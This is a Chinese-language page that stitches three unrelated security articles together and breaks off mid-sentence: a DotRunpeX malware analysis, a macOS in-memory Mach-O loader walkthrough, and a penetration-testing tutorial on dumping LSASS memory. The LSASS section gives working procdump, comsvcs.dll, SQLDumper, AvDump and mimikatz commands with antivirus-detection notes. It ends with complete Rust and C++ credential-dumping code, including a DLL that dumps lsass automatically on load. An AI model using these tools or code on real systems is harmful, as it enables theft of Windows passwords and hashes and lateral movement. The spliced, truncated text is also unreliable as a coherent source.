上面提到的帶有覆蓋的.NET應用程序是典型的第一階段,其行為就像帶有簡單混淆的dotnet加載程序。這些不同的加載程序變體在第二階段使用反射來加載DotRunpeX注入器。其中有些非常簡單,有些則更高級。 簡單的第一階段加載程序(System.Reflection.Assembly.Load()方法): 簡單的第一階段加載程序 下面可以看到更高級的第一階段加載程序的示例(使用AMSI Bypass和DynamicMethod通過反射加載和執行第二階段加載程序)。這種高級加載程序的優點是沒有直接引用System.Reflection.Assembly.Load()方法,因此它可以避免檢測依賴於.NET元數據靜態解析的引擎。 使用AMSI繞過和DynamicMethod的更高級的第一階段加載程序 後一種的去混淆形式如下圖所示: 更高級的第一階段加載程序的去混淆形式 從這些類型的加載程序中提取第二階段(DotRunpeX階段)的編程方式可以簡單地使用AsmResolver和反射來實現,如下所示。 使用AsmResolver和反射從第一階段加載程序提取DotRunpeX 值得注意的是,那些指向GitLab頁面的釣魚網站的示例只與一個活動有關,在這個活動中,DotRunpeX注入器總是負責注入帶有C2–77.73.134.2的Redline惡意軟件。 除了前面提到的最常見的感染途徑外,CPR還觀察到了一個非常有趣的感染途徑示例,在這個示例中,DotRunpeX的一位客戶可能已經厭倦了以普通受害者為目標,並決定以其他潛在的攻擊者為目標。 Redline構建器Redline_20_2_crack.rar(SHA256: “0e40e504c05c30a7987785996e2542c332100ae7ecf9f67ebe3c24ad2468527c”)被下載程序木馬化,該下載程序使用反射來加載dotRunpeX作為構建器的隱藏“添加功能”。 木馬化的Redline構建器的文件夾結構 事實證明,在Redline的構建過程中,根據需求進行配置,使用者還將獲得另一個Redline示例。 使用反射來加載DotRunpeX的下載程序,該下載程序傳播另一個Redline惡意軟件 舊版本的DotRunpeX: 使用自定義混淆:僅對名稱進行混淆; 配置有限(有效負載注入目標、提升+UAC繞過、有效負載解密的XOR密鑰); 只有一種UAC繞過技術; 使用簡單的XOR對要注入的主要有效負載進行解密; 使用D/Invoke類似的技術來調用本機代碼(基於使用GetDelegateForFunctionPointer()),但使用誘餌系統調用例程; 使用D/Invoke重新映射' ntdll.dll ' 新版本的DotRunpeX: 由自定義版本的KoiVM虛擬程序保護; 高度可配置(禁用反惡意軟件服務,反虛擬程序,反沙盒,持久性設置,有效負載解密密鑰,UAC繞過方法); 更多的UAC繞過技術; 使用簡單的XOR來解密要注入的主要有效負載(在最新開發的版本中省略了); 濫用procexp驅動程序(Sysinternals)阻止受保護進程(反惡意軟件服務); 基於俄羅斯procexp驅動程序的標誌名稱Иисус.sys 翻譯過來就是“jesus.sys”; 兩個版本的相似之處: 用.NET編寫的64位可執行文件“.exe”; 用於注入幾個不同的惡意軟件家族; 使用簡單的XOR對要注入的主要有效負載進行解密; 可能使用相同的UAC繞過技術(新版DotRunpeX提供了更多技術); UAC繞過技術 使用相同的版本信息; DotRunpeX版本信息 使用相同的.NET資源名稱BIDEN_HARRIS_PERFECT_ASSHOLE來保存要注入的加密有效負載: 新舊版本的Dotnet資源名 使用相同的代碼注入技術——Process Hollowing; 使用相同的結構化類定義本機委託; 用於定義Native委託的相同結構化類 完整的技術分析——舊版本的DotRunpeX對於舊版本的DotRunpeX的分析,使用了示例SHA256:“65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,實現了自定義的混淆——只對名稱進行混淆。 CPR分析的所有示例的版本信息都是一致的,CPR可以注意到ProductName - RunpeX.Stub.Framework,這可能是某種CPR正在處理網絡注入器的第一個提示。 舊DotRunpeX版本信息 為了方便介紹,CPR對方法名稱、參數和局部變量進行了部分清理。就在Main()方法中,CPR可以看到資源BIDEN_HARRIS_PERFECT_ASSHOLE的簡單XOR解密,該資源包含要注入的加密有效負載。 CPR分析的所有示例的資源名稱都是一致的。 主要方法導致嵌入式有效負載的簡單XOR解密 CPR還可以看到具有類名UAC的名稱空間UACBypass,此類實現了UAC(用戶帳戶控制)繞過方法,但未配置為在此示例中使用。 UAC繞過方法 方法Inject()實現了一種稱為“Process Hollowing”的代碼注入技術。下圖顯示了一個正在生成處於掛鉤狀態的進程。 創建掛鉤的流程作為Process Hollowing技術的一部分 這種技術在惡意軟件開發領域並不新鮮。儘管如此,一旦CPR檢查了這個示例的P/Invoke(允許從託管代碼訪問非託管庫中的結構、回調和函數的技術)定義的方法,就可以立即發現一些有趣的東西。這些方法可以在ImplMap表中看到,該表是.NET元數據的一部分。 ImplMap表——舊版本的DotRunpeX 必須使用某些WIN API或NT API來執行Process Hollowing技術。正如CPR在ImplMap表中看到的那樣,缺少了一些最關鍵的API。更具體地說,CPR看不到任何與取消映射和寫入遠程進程內存相關的API。這背後的原因是使用D/Invoke框架來調用某些通常會引起注意的NTAPI例程。 D/Invoke包含功能強大的原語,這些原語可以智能地組合在一起,以精確地從磁盤或內存動態調用非託管代碼。它依賴於dotnet方法GetDelegateForFunctionPointer()的使用和相應的委託定義。 在這種情況下,NT API ZwOpenSection、ZwMapViewOfSection、ZwUnmapViewOfSection、NtClose、NtWriteVirtualMemory、NtResumeThread和RtlMoveMemory是通過D/Invoke實現的。委託的相應定義如下所示。 用於定義Native委託的類 更有趣的是,通過D/Invoke實現的4個NT api (ZwUnmapViewOfSection, NtWriteVirtualMemory, NtResumeThread, RtlMoveMemory)使用了一些可以被認為是添加的PoC技術,而不是原始D/Invoke框架的一部分——系統調用補丁。例如,CPR可以通過CallNtWriteVirtualMemory()方法檢查NtWriteVirtualMemory調用是如何實現的。 導致系統調用修復的D/Invoke實現示例 首先,我們可以看到MapDllandGetProcAddress()方法中D/Invoke框架的用法發生了變化。每次調用此方法時,它都會重新映射指定的庫,並獲得所需函數的地址。在返回所需函數的地址之前,使用指針算術將指針移動4個字節,使其指向系統調用號的地址。在這種情況下,' ntdll.dll '模塊被重新映射,返回NT API例程NtWriteVirtualMemory的地址,偏移量為4個字節。 改變了D/Invoke的用法,它返回指
  11. 在上一篇文章中,我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是,我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下,創建我們自己的加載器呢?所有這些字節映射是如何工作的? 接下來,我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器,以及Mach-O文件的組成,dyld如何處理加載命令以將區域映射到內存中。 為了配合蘋果向ARM架構的遷移,這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。 什麼是Mach-O文件?首先介紹一下Mach-O文件的架構,建議先閱讀一下Aidan Steele的Mach-O文件格式參考。 當我們在處理ARM版本的MacOS時,會假設正在查看的Mach-O沒有被封裝在Universal 2格式中,因此在文件開頭我們首先會遇到的是Mach_header_64: 要構造加載器,我們需要檢查以下幾個字段: magic-此字段應包含MH_magic_64的值; Cputype-對於M1,應為CPU_TYPE_ARM64。 filetype -我們將檢查這篇文章的MH_BUNDLE類型,但加載不同類型也應該很容易。 如果Mach-O是正常的,我們可以立即處理mach_header_64結構體後面的load命令。 加載命令顧名思義,load命令是一種數據結構,用於指示dyld如何加載Mach-O區域。 每個load命令由load_command結構表示: cmd字段最終決定load_command實際表示的內容,以LC_UUID的一個非常簡單的load_command為例,該命令用於將UUID與二進制數據關聯起來。其結構如下: 如上所述,這與load_command結構重疊,這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。 Mach-O段加載Mach-O時,我們要處理的第一個load_command是LC_SEGMENT_64。 segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中,它應該有多大,應該有什麼樣的保護,以及文件的內容在哪裡。讓我們來看看它的結構: 出於本文的目的,我們將關注: segname -段的名稱,例如__TEXT; vmaddr -應該加載段的虛擬地址。例如,如果它被設置為0x4000,那麼我們將在分配的內存基數+0x4000處加載段; vmsize -要分配的虛擬內存的大小; fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量; filesize -要從文件中復制的字節數; maxprot-應分配給虛擬內存區域的最大內存保護值; initprot -應分配給虛擬內存區域的初始內存保護; nsects -遵循此段結構的節數。 要注意,雖然dyld依賴mmap將Mach-O的片段拉入內存,但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的,除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外,我們正在嘗試構建一個內存加載器,因此在這種情況下從磁盤拉二進製文件沒有多大意義。 為了解決這個問題,在此POC中,我們將預先分配我們的blob內存並複制它,例如: 與之前的dyld文章一樣,我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。 節從上面的字段中可以看到,段加載命令中存在另一個引用,這就是一個節(section)。 由於節位於段中,雖然它將繼承其內存保護,但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中,其結構為: 同樣,我們將只關注其中幾個字段,這些字段對於我們構建加載器的直接目的很有幫助: sectname -節的名稱,例如__text; segname -與此節關聯的段的名稱; addr -用於此節的虛擬地址偏移量; size -文件中(以及虛擬內存中的)節的大小; offset - Mach-O文件中部分內容的偏移量; flags - flags可以分配給一個節,這個節幫助確定reserved1,reserved2和reserved3中的值。 由於我們已經分配了每個段,所以加載器將遍歷每個段描述符,確保將正確的文件內容複製到虛擬內存中。需要注意的是,在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用),因此我們需要在復制時適應這一點: 符號隨著我們的加載器開始成型,接下來需要看看如何處理符號(Symbol)。符號在Mach-O二進製文件的加載過程中扮演著重要的角色,它將名稱和序數關聯到內存區域,以供我們稍後參考。 符號是通過LC_SYMTAB的加載命令來處理的,如下所示: 同樣,我們將關注構建加載器所需的字段: symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量; nsyms -符號(或nlist結構)的數量; stroff -符號查找所使用的字符串的文件偏移量。 顯然,接下來我們需要知道nlist是什麼: 此結構為我們提供了有關命名符號的信息: n_strx -從符號字符串字段到該符號字符串的偏移量; n_value -包含符號的值,例如地址。 因為我們稍後需要引用符號,所以我們的加載器需要存儲這些信息以備以後使用: dylib’s接下來是LC_LOAD_DYLIB加載命令,該命令引用在運行時加載的額外dylib’s。 我們需要的項在dylib結構成員中找到,特別是dylib.name.offset,它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。 稍後,當涉及到重定位時,我們將需要這些信息,其中dylib’s的導入順序起著重要作用,因此我們將構建一個dylib’s數組,供以後使用: 遷移現在就要介紹Mach-O更複雜的部分——遷移。 Mach-O是用XCode構建的,目標是macOS 12.0和更高版本,使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的,沒有太多的文檔,但Noah Martin對iOS 15查找鏈的研究值得參考,我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。 Dyld’s的源代碼告訴我們,該加載命令以結構linkedit_data_command開始: 使用dataoff便能找到標頭: 我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此,我們將使用以下字段: symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量; imports_count -導入項的數量; imports_format -任何導入符號的格式。 imports_offset -從該結構開始到導入表的偏移量。 每個導入項的數據結構都依賴於imports_format字段,但通常我看到的是DYLD_CHAINED_IMPORT格式: 可以看出這是一個32位數組項,有lib_ordinal字段,它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始,而不是0,這意味著第一個索引是1,然後是2…… 如果索引值為0或253,則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因,因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址: name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。 使用這些信息,我們需要構建一個有序的導入數組,因為我們需要馬上引用這個有序數組。 構建了一個導入列表後,將開始鍊式啟動,這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。 鍊式啟動的結構是: 為了導航,我們需要遍歷seg_info_offset中的每個項,這為我們提供了指向dyld_chained_starts_in_segment的指針列表: 首先要注意這個結構,有時segment_offset是0,但不知道為什麼,看起來dyld也識別了這個,只是忽略了它們。 我們需要找到每個reloc鏈的開始位置的字段如下: pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型; segment_offset-段起始地址在內存中的絕對偏移量; page_count-page_start成員數組中的頁數; page_start-從頁面到鏈開始的偏移量。 當我們在一個段中有一個有效的偏移量時,我們可以開始遵循reloc鏈。遍歷每個項,我們需要檢查第一位,以確定該項是一個rebase(設置為0)還是一個bind(設置為1): 在rebase的情況下,將該項轉換為dyld_chained_ptr_64_rebase,並使用目標偏移量更新該項到已分配內存的基數。 在綁定的情況下,我們使用dyld_chained_ptr_64_bind,序數字段是我們前面構建的導入數組的偏移量。 然後,我們需要移動到下一個bind或rebase,這是通過執行next*4(4字節是步長)來完成的。我們重複此操作,直到下一個字段為0,表示鏈已結束。 構建加載器現在一切就緒,開始構建加載器。步驟如下: 1.分配內存區域; 2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中; 3.將每個節加載到每個段中; 4.從LC_LOAD_DYLIB命令構建dylib的有序集合; 5.從LC_SYMTAB命令構建一個符號集合。 6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。 一旦完成,我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利,我們將看到Mach-O被加載到內存中並開始執行: 這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。 雖然你可以使用其中的代碼加載C/c++包,但如果你嘗試加載Objective-C包,你會看到如下的內容: 這是因為在加載Objective-C Mach-O時dyld中發生了一些事情,具體原因我們下一部分再講。
  12. 前言lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。 [toc] 常规方法mimikatz::logonpasswords我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。 白名单工具三个微软签名的白名单程序 Procdump.exe SQLDumper.exe createdump.exe Procdump转储Lsass.exe的内存ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件 用Procdump 抓取lsass进程dmp文件, procdump64.exe -accepteula -ma lsass.exe lsass_dump 然后可以配置mimikatz使用 sekurlsa::Minidump lsassdump.dmp sekurlsa::logonPasswords 如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用 procdump64.exe -accepteula -ma pid lsass_dum 这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。 关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。 SQLDumper.exeSqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。 sqldumper的常见路径如下 C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。 tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号 Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件 再本地解密即可需要使用相同版本操作系统。 mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit 被360查杀,火绒没有检测 createdump.exe随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀 createdump.exe -u -f lsass.dmp lsass[PID] 同样会被360查杀 comsvcs.dllcomsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。 该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。 该文件位于C:\windows\system32\comsvcs.dll 可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程: powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full 360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。 其它工具rdleakdiag.exe默认存在的系统: Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista 软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000 没有的情况可以选择传一个上去。 生成dmp内存文件 rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst 会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。 AvDump.exeAvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。 下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2 需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump. .\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0 但也是会被360查杀。 自主编写dll调用APIMiniDump的一个demo这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。 1.创建进程快照 2.初始化第一个要遍历的进程 3.继续下次遍历 4.进程信息结构体 创建进程使用CreateToolhelp32Snapshot HANDLE WINAPI CreateToolhelp32Snapshot( DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等 DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0 ); 获取第一个进程句柄使用Process32First BOOL WINAPI Process32First( HANDLE hSnapshot,//_in,进程快照句柄 LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写. ); 获取下一个进程使用Process32Next BOOL WINAPI Process32Next( HANDLE hSnapshot,   从CreateToolhelp32Snapshot 返回的句柄 LPPROCESSENTRY32 lppe 指向PROCESSENTRY32结构的指针,进程信息结构体 ); 其中还涉及到PROCESSENTRY32的结构体对我们有用的就是 dwSize 初始化结构体的大小th32ProcessId 进程IDszExeFile[MAX_PATH] 进程路径 typedef struct tagPROCESSENTRY32 { DWORD dwSize; // 结构大小,首次调用之前必须初始化; DWORD cntUsage; // 此进程的引用计数,为0时则进程结束; DWORD th32ProcessID; // 进程ID; DWORD th32DefaultHeapID; // 进程默认堆ID; DWORD th32ModuleID; // 进程模块ID; DWORD cntThreads; // 此进程开启的线程计数; DWORD th32ParentProcessID;// 父进程ID; LONG pcPriClassBase; // 线程优先权; DWORD dwFlags; // 保留; char szExeFile[MAX_PATH]; // 进程全名; } PROCESSENTRY32; 所以rust实现的代码如下 fn getProcess(){ unsafe{ let mut handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0); let mut process_entry : PROCESSENTRY32 = zeroed(); process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32; // let mut process_handle = null_mut(); if !handle.is_null() { if Process32First(handle, &mut process_entry) == 1{ loop { let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice()); println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID); if Process32Next(handle, &mut process_entry) == 0{ break; } } } } } } 完整dump lsass进程内存的代码 use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}}; use std::ptr; use clap::{App,Arg}; use log::{error}; use windows_sys::{Win32::{Foundation::{ CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, }, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR}; use windows_sys::Win32::Storage::FileSystem::{ CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, }; use windows_sys::Win32::System::Diagnostics::Debug::{ MiniDumpWithFullMemory,MiniDumpWriteDump }; use windows_sys::Win32::System::Diagnostics::ToolHelp::{ CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, }; use windows_sys::Win32::System::SystemServices::GENERIC_ALL; use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS}; fn getPrivilege(handle : HANDLE){ unsafe{ let mut h_token: HANDLE = HANDLE::default(); let mut h_token_ptr: *mut HANDLE = &mut h_token; let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { PrivilegeCount: 1, Privileges: [LUID_AND_ATTRIBUTES { Luid: LUID { LowPart: 0, HighPart: 0, }, Attributes: SE_PRIVILEGE_ENABLED, }], }; // 打开当前进程的访问令牌 let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr); if token != 0 { let systemname = ptr::null_mut(); if LookupPrivilegeValueA( systemname, b"SeDebugPrivilege\0".as_ptr(), &mut tkp.Privileges[0].Luid) != 0 { tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // println!("{:?}",tkp.Privileges[0].Attributes); // 提升当前进程的 SeDebugPrivilege 权限 if AdjustTokenPrivileges( h_token, 0, &tkp as *const TOKEN_PRIVILEGES, 0, ptr::null_mut(), ptr::null_mut()) != 0 { println!("Token privileges adjusted successfully"); } else { let last_error = GetLastError() ; println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error); } } else { let last_error = GetLastError() ; println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error); } // 关闭访问令牌句柄 CloseHandle(h_token); } else { let last_error = GetLastError() ; println!("OpenProcessToken failed with error: STATUS({:?})", last_error); } } } fn getProcess(LsassFile : &str) { unsafe{ let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if h_snapshot == INVALID_HANDLE_VALUE { println!("Failed to call CreateToolhelp32Snapshot"); } let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ; process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32; if Process32First(h_snapshot, &mut process_entry) == 0 { println!("Process32First error"); } loop { let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes(); let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned(); if extfile.starts_with("lsass.exe"){ println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID); break; } if Process32Next(h_snapshot, &mut process_entry) == 0 { println!("Failed to call Process32Next"); break; } } let lsass_pid = process_entry.th32ProcessID; let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid); if process_handle == 0 { println!("Fail to open the process "); } let lsassFile = LsassFile; let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect(); let lsasshandle = CreateFileW( lsassFile.as_ptr() as *const u16, GENERIC_ALL, 0, ptr::null_mut(), CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0, ); if lsasshandle == INVALID_HANDLE_VALUE { println!("Fail to open/create file {:?}",LsassFile.to_string()); } let result = MiniDumpWriteDump( process_handle, lsass_pid, lsasshandle, MiniDumpWithFullMemory, ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ); println!("{:?}",result); if result == 1 { println!("Dump successful with file {:?}",LsassFile.to_string()); } else { println!("Dump error {:?}", GetLastError()); } let status = CloseHandle(lsasshandle); if status != 1 { error!("Fail to Close file handle"); } } } fn main() { let matches = App::new("SysWhispers3 - SysWhispers on steroids") .arg(Arg::with_name("DumpFileName") .short("f") .long("DumpFileName") .takes_value(true) .help("DumpFileName Path like C:\\temp.dmp")).get_matches(); let mut out_file = ""; if matches.is_present("DumpFileName") { out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error"); }else { out_file = "lsass.dmp"; } getProcess(out_file); } 当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。 编写Dump Lsass的DLL(yes)其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是 获取Debug权限找到lsass的PID使用MiniDump或MiniDumpWriteDump进行内存dump首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释: NTSTATUS RtlAdjustPrivilege( ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled ); 函数说明: RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。 参数说明: Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。Enable:指示是启用(TRUE)还是禁用(FALSE)特权。CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。返回值: 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。 我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。 所以提升权限可以这样写 void getPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // 打开当前进程的访问令牌 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { // 获取 SeDebugPrivilege 权限的本地权限 ID if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升当前进程的 SeDebugPrivilege 权限 if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) { std::cout << "Token privileges adjusted successfully" << std::endl; // 关闭访问令牌句柄 CloseHandle(hToken); } else { std::cout << "AdjustTokenPrivileges faile" << std:endl; } } else { std::cout << "LookupPrivilegeValue faile" << std::endl; } } else { std::cout << "OpenProcessToken faile" << std::endl; } } 再配合上获取lsass进程pid和dump 进程后完整代码就是 #include <stdio.h> #include <Windows.h> #include <tlhelp32.h> #include <iostream> using namespace std; typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); int GetLsassPid() { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (Process32First(hSnapshot, &entry)) { while (Process32Next(hSnapshot, &entry)) { if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) { return entry.th32ProcessID; } } } CloseHandle(hSnapshot); return 0; } void getPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // 打开当前进程的访问令牌 if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { // 获取 SeDebugPrivilege 权限的本地权限 ID if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid)) { tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升当前进程的 SeDebugPrivilege 权限 if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) { cout << "Token privileges adjusted successfully" << endl; // 关闭访问令牌句柄 CloseHandle(hToken); } else { cout << "AdjustTokenPrivileges faile" << endl; } } else { cout << "LookupPrivilegeValue faile" << endl; } } else { cout << "OpenProcessToken faile" << endl; } } void DumpLsass() { wchar_t ws[100]; _MiniDumpW MiniDumpW; MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW"); cout << "GetProcAddress MiniDumpW success" << endl; swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full"); getPrivilege(); MiniDumpW(0, 0, ws); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: DumpLsass(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int main() { DumpLsass(); } SilentProcessExit进行Dump具体原理参考文章:利用SilentProcessExit机制dump内存 Silent Process Exit,即静默退出。而这种调试技术,可以派生 